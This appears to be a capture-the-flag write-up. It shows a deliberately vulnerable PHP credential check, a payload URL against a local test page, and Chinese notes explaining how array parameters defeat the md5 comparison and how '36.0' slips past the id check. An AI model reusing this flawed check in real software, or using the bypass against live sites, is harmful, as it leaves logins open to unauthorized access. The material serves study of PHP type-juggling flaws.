1 <?php 2 $username=True; 3 if(intval($_GET['username'])){ 4 preg_match("/[a-zA-Z0-9]*/", $_GET['username'],$username); 5 if ($username) { 6 echo "<center>username:USER</center><br/>"; 7 } 8 } 9 if (isset($_GET['name']) and isset($_GET['password'])){ 10 if ($_GET['name']==$_GET["password"]) 11 echo "賬號密碼不能一致"; 12 else if(md5($_GET["name"])===md5($_GET["password"])) 13 if (is_numeric($_GET["id"])&&$_GET["id"]!=='36'&&!preg_match('/\s/', $_GET["id"])) 14 { 15 if ($_GET["id"]==36) 16 die('<center>password:PASS</center>'); 17 } 18 else 19 echo "密碼錯誤!"; 20 } 21 22 ?>
payload:
http://127.0.0.1/test.php?username=12&name[]=1&password[]=2&id=36.0
在第12行md5是===,所以不能利用md5開頭是0e的字符串來繞過,但可以利用數組繞過
在第13行因為$_GET["id"]!=='36'所有,可以利用36.0或者0x24(36的16進制)繞過,但第15行$_GET["id"]==36,所以只能用36.0繞過
